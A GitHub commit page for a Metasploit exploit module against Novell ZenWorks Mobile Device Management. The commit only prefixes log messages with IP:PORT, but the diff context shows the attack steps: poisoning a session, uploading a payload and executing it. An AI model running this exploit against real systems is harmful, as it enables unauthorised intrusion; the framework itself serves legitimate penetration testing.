Skip to content

Commit 25fe03b

Browse files
committed
People like this format better: IP:PORT - Message
1 parent 02e29ff commit 25fe03b

File tree

1 file changed

+10
-6
lines changed

1 file changed

+10
-6
lines changed

modules/exploits/windows/http/novell_mdm_lfi.rb

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,10 @@ def initialize
4848
], self.class)
4949
end
5050

51+
def peer
52+
"#{rhost}:#{rport}"
53+
end
54+
5155
def setup_session()
5256
sess = Rex::Text.rand_text_alpha(8)
5357
cmd = Rex::Text.rand_text_alpha(8)
@@ -108,17 +112,17 @@ def exploit()
108112
})
109113

110114
if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
111-
print_status("Found Zenworks MDM, Checking application version")
115+
print_status("#{peer} - Found Zenworks MDM, Checking application version")
112116
ver = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
113-
print_status("Found Version #{ver}")
114-
print_status("Setting up poisoned session")
117+
print_status("#{peer} - Found Version #{ver}")
118+
print_status("#{peer} - Setting up poisoned session")
115119
session_id,cmd = setup_session()
116-
print_status("Uploading payload")
120+
print_status("#{peer} - Uploading payload")
117121
fname = upload_shell(session_id,cmd)
118-
print_status("Executing payload")
122+
print_status("#{peer} - Executing payload")
119123
exec_shell(session_id,cmd,fname)
120124
else
121-
print_error("Zenworks MDM does not appear to be running at #{rhost}")
125+
print_error("#{peer} - Zenworks MDM does not appear to be running at #{rhost}")
122126
return :abort
123127
end
124128

0 commit comments

Comments
 (0)